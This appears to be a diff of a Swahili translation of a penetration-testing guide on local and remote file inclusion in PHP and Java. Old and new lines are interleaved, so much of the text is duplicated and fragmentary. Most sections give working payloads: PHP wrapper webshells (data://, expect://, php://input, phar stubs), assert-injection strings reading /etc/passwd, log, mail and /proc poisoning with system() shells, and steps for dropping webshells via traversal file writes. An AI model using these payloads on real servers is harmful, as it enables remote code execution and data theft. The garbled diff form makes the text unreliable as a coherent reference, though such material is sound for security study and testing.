> Ikiwa kipengee ni absolute path, vipengele vyote vya awali vinatupwa na kuunganishwa kunaendelea kutoka kwenye kipengee cha absolute path.
> Ikiwa sehemu ni njia kamili (absolute path), vipengele vyote vya awali vinatupwa na kuunganishwa kunaendelea kutoka kwenye sehemu ya njia kamili.
## Java: Orodha za directories
## Java Orodha za direktori
Inaonekana kwamba ikiwa una Path Traversal katika Java na unaomba **directory** badala ya faili, **orodha ya directory inarudishwa**. Hii haitatokea katika lugha nyingine (afaik).
Inaonekana kwamba ikiwa una Path Traversal katika Java na unaomba **direktori** badala ya faili, **orodha ya direktori itarudishwa**. Hii haitatokea katika lugha nyingine (afaik).
## Vigezo 25 Bora
Hapa kuna orodha ya vigezo 25 bora ambavyo vinaweza kuwa dhaifu kwa local file inclusion (LFI) vulnerabilities (from [link](https://twitter.com/trbughunters/status/1279768631845494787)):
Hapa kuna orodha ya vigezo 25 bora ambavyo vinaweza kuwa nyeti kwa local file inclusion (LFI) vulnerabilities (from [link](https://twitter.com/trbughunters/status/1279768631845494787)):
```
?cat={payload}
?dir={payload}
@ -211,38 +211,38 @@ Hapa kuna orodha ya vigezo 25 bora ambavyo vinaweza kuwa dhaifu kwa local file i
?mod={payload}
?conf={payload}
```
## LFI / RFI kutumia PHP wrappers na protokoli
## LFI / RFI using PHP wrappers & protocols
### php://filter
PHP filters zinaruhusu kufanya operesheni za msingi za **mabadiliko kwenye data** kabla ya kusomwa au kuandikwa. Kuna aina 5 za filters:
PHP filters zinaruhusu kufanya operesheni za msingi za **mabadiliko ya data** kabla ya kusomwa au kuandikwa. Kuna makundi 5 ya filters:
- [String Filters](https://www.php.net/manual/en/filters.string.php):
- `string.rot13`
- `string.toupper`
- `string.tolower`
- `string.strip_tags`: Ondoa tags kutoka kwenye data (kila kitu kati ya herufi "<" na ">" )
- `string.strip_tags`: Ondoa tags kutoka kwa data (kila kitu kati ya herufi "<" na ">" chars)
- Note that this filter has disappear from the modern versions of PHP
- [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
- `convert.base64-encode`
- `convert.base64-decode`
- `convert.quoted-printable-encode`
- `convert.quoted-printable-decode`
- `convert.iconv.*` : Inabadilisha kuwa encoding tofauti (`convert.iconv.<input_enc>.<output_enc>`). Ili kupata **orodha ya encodings zote** zinazoungwa mkono endesha kwenye console: `iconv -l`
- `convert.iconv.*` : Inabadilisha kwa encoding tofauti (`convert.iconv.<input_enc>.<output_enc>`). Ili kupata **orodha ya mifumo yote ya usimbaji** zinazoungwa mkono endesha kwenye console: `iconv -l`
> [!WARNING]
> Abusing the `convert.iconv.*` conversion filter you can **generate arbitrary text**, which could be useful to write arbitrary text or make a function like include process arbitrary text. For more info check [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
> Kwa kutumia vibaya filter ya `convert.iconv.*` unaweza **kuzalisha maandishi yoyote**, ambayo inaweza kuwa muhimu kuandika maandishi yoyote au kufanya function kama include kushughulikia maandishi yoyote. Kwa taarifa zaidi angalia [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
- `zlib.deflate`: Inabana maudhui (useful if exfiltrating a lot of info)
- `zlib.inflate`: Inafungua data iliyobanwa
- `zlib.deflate`: Compress the content (useful if exfiltrating a lot of info)
- `zlib.inflate`: Decompress the data
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
- `mcrypt.*` : Imepitwa
- `mdecrypt.*` : Imepitwa
- `mcrypt.*` : Imepitwa na wakati
- `mdecrypt.*` : Imepitwa na wakati
- Other Filters
- Ukiendesha katika PHP `var_dump(stream_get_filters());` utaweza kupata baadhi ya **filters zisizotarajiwa**:
- Ukirusha katika php `var_dump(stream_get_filters());` utaona couple ya **filters zisizotarajiwa**:
- `consumed`
- `dechunk`: hurejesha HTTP chunked encoding
- `dechunk`: reverses HTTP chunked encoding
- `convert.*`
```php
# String Filters
@ -271,39 +271,39 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
```
> [!WARNING]
> Sehemu "php://filter" haizingatii herufi kubwa/ndogo
> Sehemu "php://filter" haizingati tofauti kati ya herufi kubwa na ndogo
### Kutumia php filters as oracle kusoma faili yoyote
### Kutumia php filters kama oracle kusoma faili yoyote
[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) inatoa mbinu ya kusoma faili ya ndani bila kupata output kurudishwa na server. Mbinu hii inategemea boolean exfiltration of the file (char by char) using php filters as oracle. Hii ni kwa sababu php filters zinaweza kutumika kufanya text kuwa kubwa vya kutosha ili php itoke na exception.
[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) imependekezwa mbinu ya kusoma faili ya ndani bila kupata output ikirudi kutoka kwa server. Mbinu hii inategemea boolean exfiltration ya faili (char kwa char) ikitumia php filters kama oracle. Hii ni kwa sababu php filters zinaweza kutumika kufanya text iwe kubwa vya kutosha ili kusababisha php itoke exception.
Katika post ya awali kuna maelezo ya kina ya mbinu, lakini hapa kuna muhtasari mfupi:
Katika postu ya asili utaona maelezo ya kina ya mbinu, lakini hapa ni muhtasari mfupi:
- Tumia codec **`UCS-4LE`** ili kuweka herufi ya kwanza ya maandishi mwanzoni na kufanya ukubwa wa string kuongezeka kwa kasi ya eksponenti.
- Hii itatumika kuzalisha **text kubwa sana ikiwa herufi ya mwanzo inakisia kwa usahihi** kiasi kwamba php itasababisha **error**
- The **dechunk** filter itakuwa **inaondoa kila kitu ikiwa char ya kwanza si hexadecimal**, hivyo tunaweza kujua ikiwa char ya kwanza ni hex.
- Hii, ikichanganywa na ile ya awali (na filters nyingine kulingana na herufi inayokisiwa), itaturuhusu kukisia herufi mwanzoni mwa text kwa kuona wakati tunapofanya mabadiliko ya kutosha kuifanya isiwe karakteri ya hexadecimal. Kwa sababu ikiwa ni hex, dechunk haitaiondoa na bomu la awali litalifanya php kutoa error.
- Codec **convert.iconv.UNICODE.CP930** hubadilisha kila herufi kuwa ile inayofuata (kwa hivyo baada ya codec hii: a -> b). Hii inaturuhusu kugundua ikiwa herufi ya kwanza ni `a` kwa mfano, kwa sababu tukitumia mara 6 codec hii a->b->c->d->e->f->g herufi haitakuwa tena karakteri ya hexadecimal, hivyo dechunk haitaiondoa na php error itachochewa kwa sababu inazidishwa na bomu la awali.
- Kwa kutumia transform nyingine kama **rot13** mwanzoni inawezekana leak herufi nyingine kama n, o, p, q, r (na codec nyingine zinaweza kutumika kusogeza herufi nyingine katika hex range).
- Wakati char ya mwanzo ni namba inahitajika kuitumia base64 encode na leak herufi 2 za kwanza ili leak namba hiyo.
- Tatizo la mwisho ni kuona **jinsi ya leak zaidi ya herufi ya mwanzo**. Kwa kutumia order memory filters kama **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** inawezekana kubadilisha mpangilio wa herufi na kupata katika nafasi ya kwanza herufi nyingine za text.
- Na ili kuweza kupata **further data** wazo ni **kuzalisha 2 bytes za junk data mwanzoni** kwa kutumia **convert.iconv.UTF16.UTF16**, kisha tumia **UCS-4LE** ili kuifanya ipivot na 2 bytes zinazofuata, na delete data hadi kufikia junk data (hii itaondoa bytes 2 za kwanza za text ya mwanzo). Endelea kufanya hivyo hadi utakapofika sehemu unayotaka leak.
- Tumia codec **`UCS-4LE`** ili kuweka herufi ya mwanzo ya maandishi mwanzoni na kufanya ukubwa wa string kuongezeka kwa namna ya eksponential.
- Hii itatumika kuzalisha text kubwa kiasi kwamba wakati herufi ya mwanzo inakadiriwa kwa usahihi php itasababisha **error**
- Filter ya **dechunk** itaondoa kila kitu ikiwa char ya kwanza si hexadecimal, hivyo tunaweza kujua ikiwa char ya kwanza ni hex.
- Hii, ikichanganywa na ile ya awali (na filters nyingine kulingana na herufi inayokadiriwa), itatuwezesha kukisia herufi mwanzoni mwa text kwa kuona tunapofanya transformations za kutosha kufanya isiwe character ya hexadecimal. Kwa kuwa ikiwa ni hex, dechunk haitaiondoa na bomu la awali litasababisha php error.
- Codec **convert.iconv.UNICODE.CP930** hubadilisha kila herufi kuwa ile inayofuata (kwa hivyo baada ya codec hii: a -> b). Hii inaturuhusu kugundua ikiwa herufi ya kwanza ni `a` kwa mfano kwa kuwa ikiwa tunaweka codec hii mara 6 a->b->c->d->e->f->g herufi haitakuwa tena character ya hexadecimal, kwa hivyo dechunk haitaiondoa na php error itachocheka kwa sababu inazidisha na bomu la awali.
- Kutumia transformations nyingine kama **rot13** mwanzoni inawezekana leak chars wengine kama n, o, p, q, r (na codecs nyingine zinaweza kutumika kusogeza herufi nyingine kwa kiwango cha hex).
- Wakati char ya mwanzo ni nambari inahitajika ku-base64 encode na leak herufi 2 za kwanza ili leak nambari.
- Shida ya mwisho ni kuona **jinsi ya leak zaidi ya herufi ya mwanzo**. Kwa kutumia order memory filters kama **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** inawezekana kubadilisha mpangilio wa chars na kupata kwenye nafasi ya kwanza herufi nyingine za text.
- Na ili kuwezesha kupata **further data** wazo ni **kuzalisha 2 bytes za junk data mwanzoni** kwa **convert.iconv.UTF16.UTF16**, tumia **UCS-4LE** ili kufanya i-pivot na 2 bytes zinazofuata, na futa data hadi kufikia junk data (hii itaondoa 2 bytes za kwanza za text ya awali). Endelea kufanya hivi hadi ufikie kipande unachotaka leak.
Katika post pia kulikuwa na tool ya kufanya hili moja kwa moja: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
Katika postu pia ilifunuliwa zana ya kutekeleza hii moja kwa moja: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
### php://fd
Wrapper hii inaruhusu kufikia file descriptors ambazo process imezifungua. Inaweza kuwa muhimu exfiltrate yaliyomo ya opened files:
Hii wrapper inaruhusu kupata access kwa file descriptors ambazo process imefungua. Inaweza kuwa muhimu ku-exfiltrate content ya opened files:
```php
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
```
Unaweza pia kutumia **php://stdin, php://stdout na php://stderr** kufikia **vitambulisho vya faili 0, 1 na 2** mtawalia (sijui jinsi hii inaweza kuwa ya msaada katika shambulio)
Unaweza pia kutumia **php://stdin, php://stdout and php://stderr** kufikia **file descriptors 0, 1 and 2** mtawalia (sijui jinsi hii ingeweza kuwa muhimu katika shambulio)
### zip:// and rar://
Pakia faili la Zip au Rar lenye PHPShell ndani na uifikie.\
Ili uweze kutumia rar protocol vibaya, lazima iwe **imeamilishwa maalum**.
Pakia faili ya Zip au Rar yenye PHPShell ndani na uifikishe.\
Ili kuweza kutumia vibaya protokoli ya rar, lazima iwe **imewezeshwa mahsusi**.
```bash
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
@ -328,24 +328,24 @@ http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
Kumbuka kwamba itifaki hii imezuiwa na mipangilio ya php **`allow_url_open`** na **`allow_url_include`**
Kumbuka kwamba protokoli hii imezuiwa na mipangilio ya php **`allow_url_open`** na **`allow_url_include`**
### expect://
Expect lazima iwe imewezeshwa. Unaweza kutekeleza code ukitumia hii:
Expect inapaswa kuwezeshwa. Unaweza kutekeleza code ukitumia hivi:
```
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
```
### input://
Taja payload yako katika vigezo vya POST:
Taja payload yako katika POST parameters:
```bash
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
```
### phar://
Faili la `.phar` linaweza kutumiwa kutekeleza msimbo wa PHP wakati programu ya wavuti inapotumia kazi kama `include` kwa ajili ya kupakia faili. Kipande cha msimbo wa PHP kilichoonyeshwa hapa chini kinaonyesha utengenezaji wa faili la `.phar`:
Faili ya `.phar` inaweza kutumiwa kutekeleza msimbo wa PHP wakati programu ya wavuti inapotumia kazi kama `include` kwa ajili ya kupakia faili. Kipande cha msimbo cha PHP kilichoonyeshwa hapa chini kinaonyesha uundaji wa faili ya `.phar`:
```php
<?php
$phar = new Phar('test.phar');
@ -354,21 +354,15 @@ $phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();
```
Ili kuunda faili ya `.phar`, amri ifuatayo inapaswa kutekelezwa:
Ili kujenga faili ya `.phar`, amri ifuatayo inapaswa kutekelezwa:
```bash
php --define phar.readonly=0 create_path.php
```
Upon execution, a file named `test.phar` will be created, which could potentially be leveraged to exploit Local File Inclusion (LFI) vulnerabilities.
Wakati wa utekelezaji, faili iitwayo `test.phar` itaundwa, ambayo inaweza kutumika kuwanufaisha udhaifu wa Local File Inclusion (LFI).
Katika utekelezaji, faili inayoitwa `test.phar` itaundwa, ambayo inaweza kutumika ku-exploit Local File Inclusion (LFI) vulnerabilities.
Katika kesi ambapo LFI inasoma tu faili bila kutekeleza PHP code iliyomo ndani, kupitia functions kama `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, au `filesize()`, inaweza kujaribu exploitation ya deserialization vulnerability. Udhaifu huu unahusishwa na kusoma faili kwa kutumia protocol ya `phar`.
In cases where the LFI only performs file reading without executing the PHP code within, through functions such as `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, or `filesize()`, exploitation of a deserialization vulnerability could be attempted. This vulnerability is associated with the reading of files using the `phar` protocol.
Katika kesi ambapo LFI inasoma tu faili bila kutekeleza PHP code ndani yake — kupitia functions kama `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, au `filesize()` — inaweza kujaribu exploitation ya deserialization vulnerability. Udhaifu huu unahusiana na kusoma faili kwa kutumia protocol ya `phar`.
For a detailed understanding of exploiting deserialization vulnerabilities in the context of `.phar` files, refer to the document linked below:
Kwa uelewa wa kina wa jinsi ya ku-exploit deserialization vulnerabilities katika muktadha wa faili za `.phar`, rejea hati iliyo linkiwa hapa chini:
Kwa ufafanuzi wa kina kuhusu kuwanufaisha deserialization vulnerabilities katika muktadha wa `.phar` files, rejea hati iliyounganishwa hapa chini:
[Phar Deserialization Exploitation Guide](phar-deserialization.md)
@ -379,52 +373,36 @@ phar-deserialization.md
### CVE-2024-2961
It was possible to abuse **any arbitrary file read from PHP that supports php filters** to get a RCE. The detailed description can be [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
Very quick summary: a **3 byte overflow** in the PHP heap was abused to **alter the chain of free chunks** of anspecific size in order to be able to **write anything in any address**, so a hook was added to call **`system`**.\
It was possible to alloc chunks of specific sizes abusing more php filters.
Ilikuwa inawezekana kuabusu **any arbitrary file read from PHP that supports php filters** kupata RCE. Maelezo ya kina yanaweza [**kupatikana katika chapisho hili**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
Muhtasari mfupi: **3 byte overflow** katika PHP heap ilitumiwa ku**badilisha chain ya free chunks** ya ukubwa maalum ili kuweza **kuandika chochote kwa anwani yoyote**, hivyo hook iliongezwa kuitwa **`system`**.\
Ilikuwa inawezekana ku-alloc chunks za ukubwa maalum kwa kuabusu php filters zaidi.
Ilikuwa inawezekana kutumia mbaya **any arbitrary file read from PHP that supports php filters** ili kupata RCE. Maelezo ya kina yanaweza ku [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
Muhtasari mfupi: **3 byte overflow** kwenye heap ya PHP ulitumiwa vibaya ili **alter the chain of free chunks** za ukubwa fulani ili kuweza **write anything in any address**, hivyo hook iliongezwa ili kuita **`system`**.\
Ilikuwa inawezekana ku-alloc chunks za ukubwa maalum kwa kutumia vibaya php filters zaidi.
### Protokoli zaidi
### More protocols
Angalia [ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
Check more possible[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Andika katika memory au katika faili ya muda (sina uhakika jinsi hii inaweza kuwa muhimu katika attack ya file inclusion)
- [file://](https://www.php.net/manual/en/wrappers.file.php) — Kufikia filesystem ya ndani
- [http://](https://www.php.net/manual/en/wrappers.http.php) — Kufikia HTTP(s) URLs
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Kufikia FTP(s) URLs
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Compression Streams
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Kutafuta pathnames zinazolingana na pattern (Hairejeshi kitu kinachoweza kuchapishwa, kwa hivyo sio ya maana hapa)
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Audio streams (Haifai kusoma faili za aina yoyote)
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Write in memory or in a temporary file (not sure how this can be useful in a file inclusion attack)
— Andika kwenye memory au kwenye faili ya muda (sijui jinsi hili linaweza kuwa muhimu katika file inclusion attack)
- [file://](https://www.php.net/manual/en/wrappers.file.php) — Accessing local filesystem
— Kupata local filesystem
- [http://](https://www.php.net/manual/en/wrappers.http.php) — Accessing HTTP(s) URLs
— Kupata HTTP(s) URLs
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Accessing FTP(s) URLs
— Kupata FTP(s) URLs
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Compression Streams
— Compression Streams
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Find pathnames matching pattern (It doesn't return nothing printable, so not really useful here)
— Inatafuta pathnames zinazolingana na pattern (haiwezi kurudisha kitu kinachoweza kuchapishwa, kwa hivyo sio muhimu sana hapa)
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
— Secure Shell 2
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Audio streams (Not useful to read arbitrary files)
— Audio streams (Sio ya msaada kusoma arbitrary files)
## LFI kupitia 'assert' ya PHP
## LFI via PHP's 'assert'
Local File Inclusion (LFI) inakuwa hatari sana katika PHP pale unaposhughulika na function ya 'assert', ambayo inaweza kutekeleza code ndani ya strings. Hii ni tatizo hasa ikiwa input yenye characters za directory traversal kama ".." inachunguzwa lakini haitakaswi ipasavyo.
Local File Inclusion (LFI) risks in PHP are notably high when dealing with the 'assert' function, which can execute code within strings. This is particularly problematic if input containing directory traversal characters like ".." is being checked but not properly sanitized.
Local File Inclusion (LFI) hatari katika PHP ni kubwa hasa wakati wa kushughulika na function ya 'assert', ambayo inaweza kutekeleza code iliyomo ndani ya strings. Hii ni tatizo hasa ikiwa input inayojumuisha wahusika wa directory traversal kama ".." inakaguliwa lakini haijasafishwa ipasavyo.
For example, PHP code might be designed to prevent directory traversal like so:
Kwa mfano, code ya PHP inaweza kubuniwa kuzuia directory traversal kama ifuatavyo:
Kwa mfano, PHP code inaweza kutengenezwa kuzuia directory traversal kama ifuatavyo:
```bash
assert("strpos('$file', '..') === false") or die("");
```
Ingawa hili linalenga kuzuia traversal, bila kutarajia linaunda njia ya code injection. Ili kutekeleza exploit hii kwa kusoma yaliyomo ya faili, mdukuzi anaweza kutumia:
Ingawa hili linakusudia kuzuia traversal, kwa bahati mbaya linaumba vector kwa code injection. To exploit this kwa kusoma yaliyomo kwenye faili, attacker angeweza kutumia:
```plaintext
' and die(highlight_file('/etc/passwd')) or '
```
Vivyo hivyo, kwa kutekeleza amri zozote za mfumo, mtu anaweza kutumia:
Vivyo hivyo, kwa kutekeleza amri yoyote ya mfumo, mtu anaweza kutumia:
```plaintext
' and die(system("id")) or '
```
@ -433,36 +411,36 @@ Ni muhimu **URL-encode these payloads**.
## PHP Blind Path Traversal
> [!WARNING]
> Mbinu hii inahusiana na kesi ambapo wewe **control** njia ya **file path** ya **PHP function** ambayo itafanya **access a file** lakini hautaona yaliyomo ya faili (kama mwito rahisi kwa **`file()`**) na yaliyomo hayajaonyeshwa.
> Mbinu hii inatumika katika matukio ambapo unadhibiti **file path** ya **PHP function** ambayo itafanya **access a file** lakini hautaona yaliyomo ya file (kama simu rahisi ya **`file()`**) na yaliyomo hayataonyeshwa.
In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) imeelezwa jinsi blind path traversal inaweza kutumika kupitia PHP filter kuweza **exfiltrate the content of a file via an error oracle**.
Katika [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) imeelezwa jinsi blind path traversal inaweza kutumiwa kupitia PHP filter ili **exfiltrate the content of a file via an error oracle**.
Kwa muhtasari, mbinu inatumia **"UCS-4LE" encoding** kufanya yaliyomo ya faili kuwa **kubwa** kiasi kwamba **PHP function opening** faili itasababisha **error**.
Kwa muhtasari, mbinu inatumia **"UCS-4LE" encoding** kufanya yaliyomo ya file kuwa kubwa sana kiasi kwamba **PHP function opening** file itasababisha **error**.
Kisha, ili ku-leak char ya kwanza filter **`dechunk`** inatumiwa pamoja na nyingine kama **base64** au **rot13** na hatimaye filters **convert.iconv.UCS-4.UCS-4LE** na **convert.iconv.UTF16.UTF-16BE** zinatumika ili **place other chars at the beggining and leak them**.
Halafu, ili leak the first char filter **`dechunk`** inatumika pamoja na zingine kama **base64** au **rot13**, na hatimaye filters **convert.iconv.UCS-4.UCS-4LE** na **convert.iconv.UTF16.UTF-16BE** zinatumika kuweka chars nyingine mwanzoni na leak them.
Functions that might be vulnerable: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
Functions zinazoweza kuwa hatarini: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
Kwa maelezo ya kiufundi angalia makala iliyotajwa!
Kwa maelezo ya kitaalamu angalia post iliyotajwa!
## LFI2RCE
### Arbitrary File Write via Path Traversal (Webshell RCE)
Wakati server-side code inayopokea/uploads faili inajenga destination path kwa kutumia data inayodhibitiwa na mtumiaji (mfano, filename au URL) bila canonicalising na validating, segments za `..` na absolute paths zinaweza kutoroka directory lililokusudiwa na kusababisha arbitrary file write. Ikiwa unaweza kuweka payload chini ya directory inayoweza kuonekana kwenye web, kawaida unapata unauthenticated RCE kwa ku-drop webshell.
Wakati code ya server-side inayochukua/kuupload files inajenga destination path kwa kutumia data inayodhibitiwa na mtumiaji (mfano, jina la file au URL) bila canonicalising na validating, segments `..` na absolute paths zinaweza kutoroka kwenye directory iliyokusudiwa na kusababisha arbitrary file write. Ikiwa unaweza kuweka payload chini ya web-exposed directory, kawaida unapata unauthenticated RCE kwa ku-drop webshell.
Typical exploitation workflow:
- Tambua write primitive kwenye endpoint au background worker inayokubali path/filename na kuandika yaliyomo kwenye disk (mf. message-driven ingestion, XML/JSON command handlers, ZIP extractors, n.k.).
- Baini web-exposed directories. Mifano ya kawaida:
- Apache/PHP: `/var/www/html/`
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → drop `shell.jsp`
- IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx`
- Tengeneza traversal path itakayochonga kutoka storage directory iliyokusudiwa hadi webroot, ukijumuisha webshell yako.
- Tembelea payload iliyowekwa na utekeleze amri.
- Tambua write primitive kwenye endpoint au background worker ambayo inakubali path/filename na inaandika content kwenye disk (k.m., message-driven ingestion, XML/JSON command handlers, ZIP extractors, n.k.).
- Tambua web-exposed directories. Mifano ya kawaida:
- Apache/PHP: `/var/www/html/`
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → drop `shell.jsp`
- IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx`
- Tengeneza traversal path inayoondoka kwenye storage directory iliyokusudiwa kuelekea webroot, na jumuisha webshell content.
- Tembelea payload ulioweka na utekeleze amri.
Vidokezo:
- Service iliyo vunulika inayofanya write inaweza kusikiliza kwenye port isiyo-HTTP (mf. JMF XML listener kwenye TCP 4004). Portal kuu ya web (port tofauti) baadaye itahudumia payload yako.
- Katika Java stacks, file writes hizi mara nyingi zimetekelezwa kwa concatenation rahisi ya `File`/`Paths`. Ukosefu wa canonicalisation/allow-listing ndilo doa kuu.
Notes:
- The vulnerable service that performs the write may listen on a non-HTTP port (e.g., a JMF XML listener on TCP 4004). The main web portal (different port) will later serve your payload.
- On Java stacks, these file writes are often implemented with simple `File`/`Paths` concatenation. Lack of canonicalisation/allow-listing is the core flaw.
Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):
```xml
@ -488,25 +466,25 @@ in.transferTo(out);
</Command>
</JMF>
```
Uimarishaji unaowazuia aina hii ya mdudu:
- Thibitisha njia kuwa canonical na idhibitishe kuwa ni tanzu ya directory ya msingi iliyoorodheshwa.
- Kataa njia yoyote yenye `..`, absolute roots, au drive letters; pendelea majina ya faili yaliyotengenezwa.
- Endesha writer kama akaunti yenye ruhusa ndogo na gawanya directory za kuandika kutoka kwa served roots.
Uimarishaji unaozuia aina hii ya mende:
- Tafuta njia ya kanoni na uthibitishe kuwa ni tawi la saraka ya msingi iliyoorodheshwa kwa ruhusa.
- Kataa njia yoyote inayojumuisha `..`, mizizi ya absolute, au barua za drive; pendelea majina ya faili yaliyotengenezwa.
- Endesha writer kama akaunti yenye vibali vidogo na tengeneza utofauti kati ya saraka za kuandika na mizizi inayohudumiwa.
## Remote File Inclusion
Imeelezewa hapo awali, [**follow this link**](#remote-file-inclusion).
Explained previously, [**follow this link**](#remote-file-inclusion).
### Via Apache/Nginx log file
Ikiwa server ya Apache au Nginx iko **nyeti kwa LFI** ndani ya include function unaweza kujaribu kufikia **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, kuweka ndani ya **user agent** au ndani ya **GET parameter** php shell kama **`<?php system($_GET['c']); ?>`** na kuingiza faili hiyo
Ikiwa server ya Apache au Nginx ni **vulnerable to LFI** ndani ya include function unaweza kujaribu kufikia **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, kuweka ndani ya **user agent** au ndani ya **GET parameter** php shell kama **`<?php system($_GET['c']); ?>`** na include hilo faili
> [!WARNING]
> Tambua kwamba **ikiwa utatumia double quotes** kwa shell badala ya **simple quotes**, double quotes zitasahihishwa kwa ajili ya string "_**quote;**_", **PHP itatoa error** hapo na **hakuna kitu kingine kitatekelezwa**.
> Kumbuka kwamba **ikiwa utatumia nukuu mbili (double quotes)** kwa shell badala ya **nukuu moja (simple quotes)**, nukuu hizo mbili zitatangazwa kwa ajili ya string "_**quote;**_", **PHP itatoa kosa** hapo na **hakitaendesha chochote kingine**.
>
> Pia, hakikisha unaandika **payload** kwa usahihi au PHP itatoa error kila mara itakapo jaribu kupakia faili ya log na hautakuwa na fursa ya pili.
> Pia, hakikisha una **andika payload vizuri** au PHP itatoa kosa kila mara inapojaribu kupakia log file na hautapata fursa ya pili.
Hii pia inaweza kufanywa katika logs nyingine lakini **kuwa mwangalifu,** code ndani ya logs inaweza kuwa URL encoded na hii inaweza kuharibu Shell. Header **authorisation "basic"** ina "user:password" kwa Base64 na inakwekwa ndani ya logs. PHPShell inaweza kuingizwa ndani ya header hii.\
Hii pia inaweza kufanywa katika log nyingine lakini **kuwa mwangalifu,** code iliyomo katika logs inaweza kuwa URL encoded na hii inaweza kuharibu Shell. Header **authorisation "basic"** ina "user:password" kwenye Base64 na inachukuliwa (decoded) ndani ya logs. PHPShell inaweza kuingizwa ndani ya header hii.\
Other possible log paths:
```python
/var/log/apache2/access.log
@ -523,42 +501,42 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin
### Kupitia Barua pepe
**Tuma barua** kwa akaunti ya ndani (user@localhost) yenye PHP payload yako kama `<?php echo system($_REQUEST["cmd"]); ?>` na jaribu kujumuisha barua ya mtumiaji kwa njia kama **`/var/mail/<USERNAME>`** au **`/var/spool/mail/<USERNAME>`**
**Tuma barua pepe** kwa akaunti ya ndani (user@localhost) ikiwa na PHP payload yako kama `<?php echo system($_REQUEST["cmd"]); ?>` na jaribu ku-include barua pepe ya mtumiaji kwa path kama **`/var/mail/<USERNAME>`** au **`/var/spool/mail/<USERNAME>`**
### Kupitia /proc/*/fd/*
1. Pakia shells nyingi (kwa mfano: 100)
2. Jumuisha [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), ambapo $PID = PID ya mchakato (inaweza kupatikana kwa brute force) na $FD file descriptor (inaweza kupatikana kwa brute force pia)
2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), ambapo $PID = PID ya mchakato (can be brute forced) na $FD ni file descriptor (can be brute forced too)
### Kupitia /proc/self/environ
Kama faili ya log, tuma payload kwenye User-Agent; itaonekana ndani ya /proc/self/environ
Kama faili ya log, tuma payload katika User-Agent, itaonekana ndani ya faili /proc/self/environ
```
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
